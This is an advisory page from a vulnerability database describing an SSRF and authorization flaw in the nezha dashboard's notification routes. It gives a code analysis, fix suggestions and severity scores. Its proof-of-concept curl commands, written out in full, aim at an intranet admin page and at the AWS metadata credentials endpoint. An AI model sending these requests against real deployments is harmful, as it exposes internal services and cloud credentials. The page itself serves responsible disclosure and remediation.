Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-46717
Published:May 23, 2026
Updated:May 24, 2026
Summary nezha's dashboard supports two user roles: "RoleAdmin" (Role==0) and "RoleMember" (Role==1). The notification routes "POST /api/v1/notification" and "PATCH /api/v1/notification/:id" are wired through "commonHandler" rather than "adminHandler" — so a "RoleMember" user can call them. These handlers synchronously "Send()" an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response. Net effect: a low-privilege "RoleMember" can read intranet HTTP response bodies via the dashboard's hub. Affected versions Commit "50dc8e660326b9f22990898142c58b7a5312b42a" and earlier on "master". Reachability chain cmd/dashboard/controller/controller.go:121-122 auth.GET("/notification", listHandler(listNotification)) auth.POST("/notification", commonHandler(createNotification)) // <-- commonHandler, not adminHandler For comparison, "/user" routes ARE gated by "adminHandler": auth.GET("/user", adminHandler(listUser)) auth.POST("/user", adminHandler(createUser)) auth.POST("/batch-delete/user", adminHandler(batchDeleteUser)) "adminHandler" (controller.go:220-236) explicitly enforces "user.Role.IsAdmin()". "commonHandler" (controller.go:214-218) does not. The vulnerable handler // cmd/dashboard/controller/notification.go:46-83 func createNotification(c *gin.Context) (uint64, error) { var nf model.NotificationForm if err := c.ShouldBindJSON(&nf); err != nil { return 0, err } var n model.Notification n.UserID = getUid(c) n.Name = nf.Name n.RequestMethod = nf.RequestMethod n.RequestType = nf.RequestType n.RequestHeader = nf.RequestHeader n.RequestBody = nf.RequestBody n.URL = nf.URL ... ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc} if !nf.SkipCheck { if err := ns.Send(singleton.Localizer.T("a test message")); err != nil { return 0, err // <-- err.Error() reflects up to caller via newErrorResponse } } ... } Identical pattern in "updateNotification" (PATCH /notification/:id) at lines 97-146. The reflection sink // model/notification.go:113-159 func (ns *NotificationServerBundle) Send(message string) error { var client *http.Client n := ns.Notification if n.VerifyTLS != nil && *n.VerifyTLS { client = utils.HttpClient } else { client = utils.HttpClientSkipTlsVerify } reqBody, err := ns.reqBody(message) if err != nil { return err } reqMethod, err := n.reqMethod() if err != nil { return err } req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody)) if err != nil { return err } n.setContentType(req) if err := n.setRequestHeader(req); err != nil { return err } resp, err := client.Do(req) if err != nil { return err } defer func() { _ = resp.Body.Close() }() if resp.StatusCode < 200 || resp.StatusCode > 299 { body, _ := io.ReadAll(resp.Body) // <-- NO io.LimitReader return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body)) } else { _, _ = io.Copy(io.Discard, resp.Body) } return nil } The full body (no size limit) is concatenated into an error string. That error flows through "commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...)". The intranet response body is JSON-encoded back to the "RoleMember" caller. Additional wrinkle: "client = utils.HttpClientSkipTlsVerify" when "VerifyTLS" is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation. PoC A. Read intranet admin-panel response body curl -X POST -H "Authorization: Bearer <member-jwt>" -H "Content-Type: application/json" -d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' http://nezha-dashboard.example.com/api/v1/notification Response: {"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"} B. AWS IMDSv2 reachability + body leak curl -X POST -H "Authorization: Bearer <member-jwt>" -H "Content-Type: application/json" -d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' http://nezha-dashboard.example.com/api/v1/notification IMDSv2 returns 401 with a body explaining the missing token; that body is reflected. C. DoS via large internal file Because the body is read via unbounded "io.ReadAll", a "RoleMember" pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory. Suggested fix 1. Switch /notification routes to "adminHandler". Same fix for "/alert-rule", "/cron", "/ddns" if they also issue user-URL requests synchronously. Compare with how "/user" is already guarded. auth.POST("/notification", adminHandler(createNotification)) auth.PATCH("/notification/:id", adminHandler(updateNotification)) 2. SSRF-harden "NotificationServerBundle.Send()": - Resolve URL host once via "net.LookupIP"; refuse private/loopback/link-local/CGNAT. - Pin "http.Transport.DialContext" to the resolved IP — closes DNS-rebinding TOCTOU. - Refuse non-http(s) schemes. 3. Cap response body: "io.LimitReader(resp.Body, 4096)". 4 KB is plenty for surfacing webhook errors. 4. Reconsider "VerifyTLS=false" toggle on RoleMember-reachable paths — if the route remains member-reachable, at minimum cert validation should be enforced. Severity - CVSS 3.1: Medium — "AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L" ≈ 6.4. PR:L because attacker needs a "RoleMember" account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS. - Auth: authenticated "RoleMember" (Role == 1). Reproduction environment - Tested against: "nezhahq/nezha:v0.x" (commit "50dc8e660326b9f22990898142c58b7a5312b42a"). - Code locations: - Handler: "cmd/dashboard/controller/notification.go:46-83, 97-146" - Sink: "model/notification.go:113-159" - Auth gate: "cmd/dashboard/controller/controller.go:121-122" (commonHandler), 214-236 (handler defs) Reporter Eddie Ran. Filed via reporter API (PVR enabled). nezha's "SECURITY.md" mentions email "hi@nai.ba" for vulnerability reports — happy to also send via email if the maintainer prefers.
Affected Packages
https://github.com/nezhahq/nezha.git (GITHUB):
Affected version(s) >=v1.4.0 <v2.0.8
Fix Suggestion:
Update to version v2.0.8
github.com/nezhahq/nezha (GO):
Affected version(s) >=v1.4.0 <v2.0.8
Fix Suggestion:
Update to version v2.0.8
Do you need more information?
Contact Us
CVSS v4
Base Score:
8.4
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
LOW
Vulnerable System Availability
NONE
Subsequent System Confidentiality
HIGH
Subsequent System Integrity
LOW
Subsequent System Availability
NONE
CVSS v3
Base Score:
8.5
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality
HIGH
Integrity
LOW
Availability
NONE
Weakness Type (CWE)
Server-Side Request Forgery (SSRF)
Incorrect Authorization